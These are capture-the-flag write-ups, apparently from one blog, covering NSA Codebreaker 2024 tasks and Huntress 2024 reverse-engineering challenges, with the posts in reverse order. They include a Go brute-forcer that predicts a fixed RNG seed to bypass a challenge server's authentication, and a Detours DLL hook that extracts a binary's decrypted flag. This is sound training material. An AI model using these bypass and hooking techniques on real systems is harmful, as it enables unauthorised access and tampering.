Based on the context clues given, it seems like we need to submit a json that has the following keys: username, seed, and count.

Upon digging more, it seems like the seeds are deterministic, so there must be a fixed seed used in instantiation.

Another piece of information is the auth module.

The code above is not safe. The application authenticates the test but not in a safe manner.
Therefore, if we can produce a combination of username and a seed that would satisfy the conditions, we might get authenticated without the need of Auth Service.

Here is the snippet of the algorithm used by the application:

v7 = currentRand;
  for ( i = 0LL; username.len > (__int64)i; i += 4LL )
  {
    if ( username.len < (__int64)(i + 4) )
    {
      v10 = username.len - i;
      if ( username.len - i == 1 )
      {
        if ( username.len <= i )
          runtime_panicIndex();
        v9 = username.str[i];
      }
      else if ( v10 == 2 )
      {
        if ( username.len <= i )
          runtime_panicIndex();
        if ( username.len <= i + 1 )
          runtime_panicIndex();
        v9 = *(unsigned __int16 *)&username.str[i];
      }
      else if ( v10 == 3 )
      {
        if ( username.len <= i )
          runtime_panicIndex();
        if ( username.len <= i + 1 )
          runtime_panicIndex();
        if ( username.len <= i + 2 )
          runtime_panicIndex();
        v9 = *(unsigned __int16 *)&username.str[i] | (username.str[i + 2] << 16);
      }
      else
      {
        v9 = 0;
      }
    }
    else
    {
      if ( username.len <= i )
        runtime_panicIndex();
      if ( username.len <= i + 1 )
        runtime_panicIndex();
      if ( username.len <= i + 2 )
        runtime_panicIndex();
      if ( username.len <= i + 3 )
        runtime_panicIndex();
      v9 = *(_DWORD *)&username.str[i];
    }
    v7 ^= v9;
  }
  if ( v7 == -1972368894 )
  {
    // we need to get into these block by using a VALID and KNOWN username.
  }

Another context clue is the shredded.jpg file. With those context clues, we can try using jasper_05376 that was found from Task 1.

With all of the information above, we can try to emulate the algorithm to bruteforce a valid username and seed combination that would meet our goal.

package main

import (
	"encoding/binary"
	"fmt"
	"math/rand"
)

// getChunks splits a username into 4-byte chunks for XOR operations
func getChunks(username string) []uint32 {
	usernameBytes := []byte(username)
	padding := (4 - len(usernameBytes)%4) % 4
	usernameBytes = append(usernameBytes, make([]byte, padding)...)

	var chunks []uint32
	for i := 0; i < len(usernameBytes); i += 4 {
		chunks = append(chunks, binary.LittleEndian.Uint32(usernameBytes[i:i+4]))
	}
	return chunks
}

// performXOR performs XOR on the initial uVar2 with chunks from the username
func performXOR(uVar2 uint32, chunks []uint32) uint32 {
	for _, chunk := range chunks {
		uVar2 ^= chunk
	}
	return uVar2
}

// simulateAuthBypass checks if the current random value XOR'd with the username meets the bypass condition
func simulateAuthBypass(username string, uVar2Initial uint32, targetUVar2 uint32) (bool, uint32) {
	usernameChunks := getChunks(username)
	finalUVar2 := performXOR(uVar2Initial, usernameChunks)

	// Return true if the bypass condition is met
	if finalUVar2 == targetUVar2 {
		return true, finalUVar2
	}
	return false, finalUVar2
}

func main() {
	// Fixed initial random seed from the server code
	seed := int64(0x76546CC2CA2D7)
	rand.Seed(seed)

	// Bypass target value
	targetUVar2 := uint32(0x8A700A02)

	// Iterate over seed count (1,000,000,000,000,000 iterations)
	maxIterations := 1000000000000000

	username := "jasper_05376"

	fmt.Println("Starting bypass detection...")

	prevRand := int64(0)

	showNextRand := false

	for count := 1; count <= maxIterations; count++ {
		// Get the current random value (uVar2Initial is the lower 32-bits of currentRand)
		currentRand := rand.Int63()
		uVar2Initial := uint32(currentRand & 0xFFFFFFFF)

		bypass, finalUVar2 := simulateAuthBypass(username, uVar2Initial, targetUVar2)

		// this will be hit on next loop after finding the bypass
		if showNextRand {
			showNextRand = false
			fmt.Printf("NextRand: %d\n\n", currentRand)
		}

		if bypass {
			// Display the bypass information
			fmt.Printf("\nBypass detected!\n")
			fmt.Printf("Username: %s\n", username)
			fmt.Printf("Seed Count: %d\n", count)
			fmt.Printf("Initial uVar2: 0x%x\n", uVar2Initial)
			fmt.Printf("Final uVar2: 0x%x (Matches Bypass Value)\n", finalUVar2)
			fmt.Printf("CurrentRand: %d\n\n", currentRand)
			fmt.Printf("PrevRand: %d\n\n", prevRand)
			showNextRand = true
		}

		prevRand = currentRand

		// Show progress
		if count%100000000 == 0 {
			fmt.Printf("Processed %d seed iterations...\n", count)
		}
	}

	fmt.Println("Bypass detection completed.")
}

Gotcha! We have now our bypass!

username: jasper_05376
count: 181182686
seed: 350024956464939860

I am not really sure why NextRand should be the value of seed key in the json, when I try submitting the CurrentRand, it just don’t accept my answer. I also forgot if its -+1 Seed Count, I was just doing mix and match with the answers until it has been accepted by the system. It’s kinda confusing but it is what it is.

In real life, I think this is an exploit that is a very hard to do. Because the attacker must track the current seed and count of the target server, and the payload must be sent in a pixel perfect timing.

[NSA2024] Task 2 – Driving Me Crazy – (Forensics, DevOps)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Having contacted the NSA liaison at the FBI, you learn that a facility at this address is already on a FBI watchlist for suspected criminal activity.

With this tip, the FBI acquires a warrant and raids the location.

Inside they find the empty boxes of programmable OTP tokens, but the location appears to be abandoned. We’re concerned about what this APT is up to! These hardware tokens are used to secure networks used by Defense Industrial Base companies that produce critical military hardware.

The FBI sends the NSA a cache of other equipment found at the site. It is quickly assigned to an NSA forensics team. Your friend Barry enrolled in the Intrusion Analyst Skill Development Program and is touring with that team, so you message him to get the scoop. Barry tells you that a bunch of hard drives came back with the equipment, but most appear to be securely wiped. He managed to find a drive containing what might be some backups that they forgot to destroy, though he doesn’t immediately recognize the data. Eager to help, you ask him to send you a zip containing a copy of the supposed backup files so that you can take a look at it.

If we could recover files from the drives, it might tell us what the APT is up to. Provide a list of unique SHA256 hashes of all files you were able to find from the backups. Example (2 unique hashes):

471dce655395b5b971650ca2d9494a37468b1d4cb7b3569c200073d3b384c5a4
0122c70e2f7e9cbfca3b5a02682c96edb123a2c2ba780a385b54d0440f27a1f6

Downloads

disk backups (archive.tar.bz2)

Prompt

Provide your list of SHA256 hashes

Solution

Upon checking, it looks like we are given ZFS Snapshots, and it looks like we need to restore the images chronologically to get the unique files.

We then transferred to ubuntu which does natively supports zfs.

We first create the disk, then create the pool, then create the dataset.

We then import the starting backup.

We then create a folder which we will put the files for every backup.

Copy the current contents of the pool on the created folder.

Just repeat the process: import a backup, make a folder where contents will be copied, then copy the content, and then repeat.

I know, this is a tedious process because the backups are not labeled in order (or maybe I missed a clue on it). Also this can be automated, but I chose the hard way.

After importing all and extracting each backup content, we can now proceed to next step.

We then recursively get sha256 from the files.

Then pipe them to sort and uniq.

Submitted these and viola! Task 2 is done!

[NSA2024] Task 1 – No Token Left Behind – (File Forensics)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Aaliyah is showing you how Intelligence Analysts work. She pulls up a piece of intelligence she thought was interesting. It shows that APTs are interested in acquiring hardware tokens used for accessing DIB networks. Those are generally controlled items, how could the APT get a hold of one of those?

DoD sometimes sends copies of procurement records for controlled items to the NSA for analysis. Aaliyah pulls up the records but realizes it’s in a file format she’s not familiar with. Can you help her look for anything suspicious?

If DIB companies are being actively targeted by an adversary the NSA needs to know about it so they can help mitigate the threat.

Help Aaliyah determine the outlying activity in the dataset given

Downloads

DoD procurement records (shipping.db)

Prompt

Provide the order id associated with the order most likely to be fraudulent.

Solution

Upon inspecting the file, it ends with .db file and doesn’t really much make sense.
So what I did was to check the correct mimetype so I can properly determine the right tool for it.

Upon checking some documentation and other references, I think it is an .ods file.

References:
https://stackoverflow.com/questions/31489757/what-is-correct-mimetype-with-apache-openoffice-files-like-odt-ods-odp
https://www.iana.org/assignments/media-types/application/vnd.oasis.opendocument.spreadsheet

Upon opening it with spreadsheet, we are greeted by gigantic dataset.

Our goal is to find something suspicious, so I tried to arrange them to find an outlier in the dataset.

So what I did was to arrange them accordingly and manually checked for outlier. And there we go! We spotted it.

I submitted the order id and viola! Task 1 is done!

Remember this information as we will be needing this in the later task: jasper_05376

[NSA2024] NSA Codebreaker 2024

Hi everyone! I recently participated in the NSA Codebreaker Challenge 2024, which had over 6,693 participants. I’m proud to share that I was one of 30 people who managed to complete all the tasks!

Without further ado, I’ll be sharing my experience, the challenge binaries, and detailed write-ups.

This blog post is divided into seven parts:
Task 1 – No Token Left Behind – (File Forensics)
Task 2 – Driving Me Crazy – (Forensics, DevOps)
Task 3 – How did they get in? – (Reverse Engineering, Vulnerability Research)
Task 4 – LLMs never lie – (Programming, Forensics)
Task 5 – The #153 – (Reverse Engineering, Cryptography)
Task 6 – It’s always DNS – (Reverse Engineering, Cryptography, Vulnerability Research, Exploitation)
Task 7 – Location (un)compromised – (Vulnerability Research, Exploitation, Reverse Engineering)

I hope you enjoy reading!

Disclaimer

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Background

Foreign adversaries have long strived to gain an advantage against the might of the United States Armed Forces. While matching the USA on the battlefield is a costly and risky proposition, our adversaries are always looking for ways to balance the playing field. A serious and real threat is the infiltration and sabotage of military operations before the fight even breaks out.

Fortunately, the NSA is always recruiting bright young individuals to help protect our country! In fact, a bunch of your friends graduated last year and have been busy at work in their Developmental Programs.

You have returned to NSA on your final Cooperative Education tour and are visiting your friend Aaliyah who is currently employed full-time in the Intelligence Analysis Development Program. Intelligence Analysts are always scouring through collected Signals Intelligence (SIGINT) for threat indicators. Aaliyah recently attended a briefing that highlighted Nation-State Advanced Persistent Threats (APT) targeting our Defense Industrial Base (DIB) contractors.

[HNTRS2024] Huntress 2024 (Reverse Engineering): In Plain Sight

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge, I learned that this binary is somewhat similar to Ghostpulse where it hides payload on the PNG. I was able to uncover this by checking some functions and saw that the binary loads a PNG resource file and it do some decryption routine.

EDIT: My solution to this is somewhat weird. After the event, the challenge creator revealed that the actual encrypted data wasn’t on the PNG itself. Until this day, I was still puzzled and looking for a “better” way to solve the challenge than my methodology explained below.

As stated in the article above, it do some crc and hashing checking to the PNG parts to identify location of the encrypted locations.

I first put a breakpoint on the cmp dword ptr [rsp+238h+var_1E8+0Ch], 0AAAAAAAAh. It seems like 0AAAAAAAAh is like an index for an encrypted message that the programs want to print out. You will notice this also in other parts, such as 0AAAAh, 0AAAAAh, 0AAAAAAh.

In the first breakpoint hit, you will see this:

Since, 0AAAAh is not equals to 0AAAAAAAAh, then it will just skip and proceed to the next iteration of loop. But what we can do here is to control the rip to proceed with the decryption block instead of reiterating the loop.

It did leaked the first encrypted message from the PNG file.

We just repeat these step to leak others as well.

We could go on to look other message, I think there are 12 encrypted messages there. But to cut short, this message is interesting.

Here are the IPs that we extracted.

10 25 3 103
10 5 13 54
10 185 7 102
172 21 29 54
172 20 20 51
172 30 27 54
192 168 34 57
192 168 71 6
10 76 2 97
10 199 9 97
192 168 245 16
172 25 31 54
192 168 226 0
10 215 6 57
192 168 41 1
10 212 10 49
10 119 16 50
10 0 0 102
172 30 21 57
192 168 43 2
192 168 113 16
172 26 24 100
192 168 89 12
172 21 33 101
192 168 37 125
172 17 19 49
10 169 8 52
10 179 4 123
172 29 22 50
192 168 180 8
172 28 26 97
172 24 23 50
192 168 40 18
172 16 30 98
10 13 1 108
192 168 42 0
172 16 17 102
10 105 11 55
192 168 36 49
172 30 18 56
172 24 25 99
192 168 100 12
192 168 35 97
172 30 28 99
172 27 32 53
192 168 58 18
10 184 15 101
192 168 50 15
10 129 5 53
10 126 12 98
10 32 14 57

Then lets sort it based on the 3rd octet

10 0 0 102
10 13 1 108
10 76 2 97
10 25 3 103
10 179 4 123
10 129 5 53
10 215 6 57
10 185 7 102
10 169 8 52
10 199 9 97
10 212 10 49
10 105 11 55
10 126 12 98
10 5 13 54
10 32 14 57
10 184 15 101
10 119 16 50
172 16 17 102
172 30 18 56
172 17 19 49
172 20 20 51
172 30 21 57
172 29 22 50
172 24 23 50
172 26 24 100
172 24 25 99
172 28 26 97
172 30 27 54
172 30 28 99
172 21 29 54
172 16 30 98
172 25 31 54
172 27 32 53
172 21 33 101
192 168 34 57
192 168 35 97
192 168 36 49
192 168 37 125
192 168 40 18
192 168 41 1
192 168 42 0
192 168 43 2
192 168 50 15
192 168 58 18
192 168 71 6
192 168 89 12
192 168 100 12
192 168 113 16
192 168 180 8
192 168 226 0
192 168 245 16

Then extract the 4th octet.

102
108
97
103
123
53
57
102
52
97
49
55
98
54
57
101
50
102
56
49
51
57
50
50
100
99
97
54
99
54
98
54
53
101
57
97
49
125
18
1
0
2
15
18
6
12
12
16
8
0
16

Convert to ASCII then remove the non-printable characters.

GGz!

[HNTRS2024] Huntress 2024 (Reverse Engineering): Rusty Bin

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge we are given a binary to reverse. The flag is in the binary and we need to find it.

After some guessing we are able to get a clue. I tried finding the bytes on the memory but I couldn’t get whole flag.

So what I did was to look around more, and try to check some function calls.

These 2 function calls are somewhat weird to me. I tried to check arguments passed to these 2 functions. I found out that the 1st function is a XOR cipher, and the 2nd call is a XOR key. There was 14 loops on it, so meaning there are 14 ciphers. You can just write down those values and manually xor for around 30 mins, or build an automated solution for 2 hours. Pick your poison. lol.

So I choose the automated solution

// FunctionHooks.cpp : Defines the exported functions for the DLL application.
//
#define NOMINMAX // Prevents Windows headers from defining min and max macros
//#define AllowDebug // uncomment to show debug messages
#include "pch.h"
#include <windows.h>
#include "detours.h"
#include <cstdint>
#include <mutex>
#include <fstream>
#include <string>
#include <vector>
#include <queue>
#include <thread>
#include <condition_variable>
#include <atomic>
#include <sstream>
#include <iomanip>
#include <cctype> // For isprint
#include <intrin.h>

// 1. Define the function pointer type matching the target function's signature.
typedef __int64(__fastcall* sub_0x1AC0_t)(__int64 a1, __int64 a2, __int64 a3);

// 2. Replace with the actual module name containing the target function.
const char* TARGET_MODULE_NAME = "rusty_bin.exe"; // Ensure this matches the actual module name

// 3. Calculated RVA of the target function (0x1AC0 based on previous calculation)
const uintptr_t FUNCTION_RVA = 0x1AC0;

// 4. Declare a pointer to the original function.
sub_0x1AC0_t TrueFunction = nullptr;

// 5. Logging components
std::queue<std::string> logQueue;
std::mutex queueMutex;
std::condition_variable cv;
std::thread logThread;
std::atomic<bool> isLoggingActive(false);
std::ofstream logFile;

// 6. Data management components
std::vector<std::vector<unsigned char>> byteVectors;
bool isOdd = true;
std::mutex dataMutex;

// 9. Helper function to convert uintptr_t to hex string
std::string ToHex(uintptr_t value)
{
    std::stringstream ss;
    ss << "0x"
        << std::hex << std::uppercase << value;
    return ss.str();
}

// 7. Helper function to convert a single byte to hex string
std::string ByteToHex(unsigned char byte)
{
    char buffer[3];
    sprintf_s(buffer, sizeof(buffer), "%02X", byte);
    return std::string(buffer);
}

// 8. Helper function to convert a vector of bytes to hex string with spaces
std::string BytesToHex(const std::vector<unsigned char>& bytes)
{
    std::string hexStr;
    for (auto byte : bytes)
    {
        hexStr += ByteToHex(byte) + " ";
    }
    if (!hexStr.empty())
        hexStr.pop_back(); // Remove trailing space
    return hexStr;
}

// 19. Helper function to convert a vector of bytes to a human-readable string
std::string BytesToString(const std::vector<unsigned char>& bytes)
{
    std::string result;
    result.reserve(bytes.size());

    for (auto byte : bytes)
    {
        if (isprint(byte))
        {
            result += static_cast<char>(byte);
        }
        else
        {
            result += '.'; // Placeholder for non-printable characters
        }
    }

    return result;
}

// 10. Enqueue a log message
void LogMessage(const std::string& message)
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logQueue.push(message);
    }
    cv.notify_one();
}

// 11. Logging thread function
void ProcessLogQueue()
{
    while (isLoggingActive)
    {
        std::unique_lock<std::mutex> lock(queueMutex);
        cv.wait(lock, [] { return !logQueue.empty() || !isLoggingActive; });

        while (!logQueue.empty())
        {
            std::string msg = logQueue.front();
            logQueue.pop();
            lock.unlock(); // Unlock while writing to minimize lock contention

            if (logFile.is_open())
            {
                logFile << msg;
                // Optionally, implement log rotation or size checks here
            }

            lock.lock();
        }
    }

    // Flush remaining messages before exiting
    while (true)
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logQueue.empty())
            break;

        std::string msg = logQueue.front();
        logQueue.pop();

        if (logFile.is_open())
        {
            logFile << msg;
        }
    }
}

// 12. Initialize logging system
bool InitializeLogging()
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logFile.open("rusty_bin.log", std::ios::out | std::ios::app);
        if (!logFile.is_open())
        {
            return false;
        }
    }

    isLoggingActive = true;
    logThread = std::thread(ProcessLogQueue);
    return true;
}

// 13. Shutdown logging system
void ShutdownLogging()
{
    isLoggingActive = false;
    cv.notify_one();
    if (logThread.joinable())
    {
        logThread.join();
    }

    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logFile.is_open())
        {
            logFile.close();
        }
    }
}

// 14. Implement the HookedFunction with the same signature.
__int64 __fastcall HookedFunction(__int64 a1, __int64 a2, __int64 a3)
{
    // Retrieve the return address using the MSVC intrinsic
    void* returnAddress = _ReturnAddress();

    // Get the base address of the target module
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
        // If unable to get module handle, log and call the true function
        std::string errorLog = "Failed to get module handle for " + std::string(TARGET_MODULE_NAME) + ".\n";
#ifdef AllowDebug
        LogMessage(errorLog);
#endif
        return TrueFunction(a1, a2, a3);
    }

    uintptr_t moduleBase = reinterpret_cast<uintptr_t>(hModule);
    uintptr_t retAddr = reinterpret_cast<uintptr_t>(returnAddress);
    uintptr_t rva = retAddr - moduleBase;

    // Define the specific RVAs to check against
    const std::vector<uintptr_t> validRVAs = { 0x17B1, 0x17C8 };

    // Check if the return address RVA matches 0x17B1 or 0x17C8
    bool shouldProcess = false;
    for (auto& validRVA : validRVAs)
    {
        if (rva == validRVA)
        {
            shouldProcess = true;
            break;
        }
    }

    if (shouldProcess)
    {
        // Convert a1 and a3 to uintptr_t using static_cast
        uintptr_t ptrA1 = static_cast<uintptr_t>(a1);
        uintptr_t ptrA3 = static_cast<uintptr_t>(a3);

        // Log the function call parameters using ToHex
        std::string logMessage = "HookedFunction called with a1=" + ToHex(ptrA1) +
            ", a2=" + std::to_string(a2) + ", a3=" + ToHex(ptrA3) + "\n";
#ifdef AllowDebug
        LogMessage(logMessage);
#endif

        // Initialize variables for reading bytes
        std::vector<unsigned char> currentBytes;
        __int64 result = 0;

        // Check if a1 is valid and a2 is positive
        if (a1 != 0 && a2 > 0)
        {
            unsigned char* buffer = reinterpret_cast<unsigned char*>(a1);

            // Reserve space to minimize reallocations
            currentBytes.reserve(static_cast<size_t>(a2));

            for (size_t i = 0; i < static_cast<size_t>(a2); ++i)
            {
                unsigned char byte = buffer[i];
                currentBytes.push_back(byte);
            }

            // Convert bytes to hex string
            std::string bytesHex = BytesToHex(currentBytes);

            // Log the bytes read
#ifdef AllowDebug
            LogMessage("Bytes read: " + bytesHex + "\n");
#endif
        }
        else
        {
            // Log invalid parameters
            std::string invalidParamsLog = "Invalid a1 or a2. a1: " + ToHex(ptrA1) +
                ", a2: " + std::to_string(a2) + "\n";
#ifdef AllowDebug
            LogMessage(invalidParamsLog);
#endif
        }

        // Data management: Handle isOdd and byteVectors
        {
            std::lock_guard<std::mutex> guard(dataMutex);
            if (isOdd)
            {
                // Odd call: push the bytes read to byteVectors
                byteVectors.push_back(currentBytes);
#ifdef AllowDebug
                LogMessage("Pushed bytes to array.\n");
#endif
            }
            else
            {
                // Even call: perform XOR with the last vector in byteVectors
                if (!byteVectors.empty())
                {
                    const std::vector<unsigned char>& lastVector = byteVectors.back();
                    size_t minSize = (currentBytes.size() < lastVector.size()) ? currentBytes.size() : lastVector.size();

                    std::vector<unsigned char> xorResult;
                    xorResult.reserve(minSize);

                    for (size_t i = 0; i < minSize; ++i)
                    {
                        xorResult.push_back(currentBytes[i] ^ lastVector[i]);
                    }

                    // Convert XOR result to hex string
                    std::string xorHex = BytesToHex(xorResult);

                    // Convert XOR result to human-readable string
                    std::string xorString = BytesToString(xorResult);

                    // Log both hex and string representations
#ifdef AllowDebug
                    LogMessage("XOR output (Hex): " + xorHex + "\n");
#endif
                    LogMessage("XOR output (String): " + xorString + "\n");
                }
                else
                {
#ifdef AllowDebug
                    // Log that there's no previous vector to XOR with
                    LogMessage("No previous byte vector to XOR with.\n");
#endif
                }
            }

            // Toggle isOdd for the next call
            isOdd = !isOdd;
        }

        // Call the original function
        result = TrueFunction(a1, a2, a3);

        // Log the function result
        std::string resultLog = "Original function returned " + std::to_string(result) + "\n";
#ifdef AllowDebug
        LogMessage(resultLog);
#endif

        // Return the original result
        return result;
    }
    else
    {
        // If the return address RVA is not 0x17B1 or 0x17C8, directly call the true function
        return TrueFunction(a1, a2, a3);
    }
}

// 15. Function to dynamically resolve the target function's address
sub_0x1AC0_t GetTargetFunctionAddress()
{
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
#ifdef AllowDebug
        LogMessage("Failed to get handle of target module: " + std::string(TARGET_MODULE_NAME) + "\n");
#endif
        return nullptr;
    }

    // Calculate the absolute address by adding the RVA to the module's base address.
    uintptr_t funcAddr = reinterpret_cast<uintptr_t>(hModule) + FUNCTION_RVA;
    return reinterpret_cast<sub_0x1AC0_t>(funcAddr);
}

// 16. Attach hooks
BOOL AttachHooks()
{
    // Initialize logging system
    if (!InitializeLogging())
    {
        // If the log file cannot be opened, return FALSE to prevent hooking
        return FALSE;
    }

    // Dynamically resolve the original function address
    TrueFunction = GetTargetFunctionAddress();
    if (!TrueFunction)
    {
#ifdef AllowDebug
        LogMessage("TrueFunction is null. Cannot attach hook.\n");
#endif
        ShutdownLogging();
        return FALSE;
    }

    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Attach the hooked function
    DetourAttach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully attached.\n");
#endif
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to attach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        ShutdownLogging();
        return FALSE;
    }
}

// 17. Detach hooks
BOOL DetachHooks()
{
    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Detach the hooked function
    DetourDetach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully detached.\n");
#endif
        // Shutdown logging system
        ShutdownLogging();
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to detach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        return FALSE;
    }
}

// 18. DLL entry point
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hinst);
        DetourRestoreAfterWith();
        if (!AttachHooks())
        {
            // Handle hook attachment failure if necessary
            // Note: At this point, logging might not be fully operational
        }
        break;
    case DLL_PROCESS_DETACH:
        if (!DetachHooks())
        {
            // Handle hook detachment failure if necessary
        }
        break;
    }
    return TRUE;
}

Flag

XOR output (String): flag
XOR output (String): {e65
XOR output (String): cafb
XOR output (String): c80b
XOR output (String): d66a
XOR output (String): 1964
XOR output (String): b2e9
XOR output (String): debe
XOR output (String): f3ca
XOR output (String): e}
XOR output (String): the password
XOR output (String): What is 'the password'
XOR output (String): Wrong Password
XOR output (String): Correct Password! Here's a clue!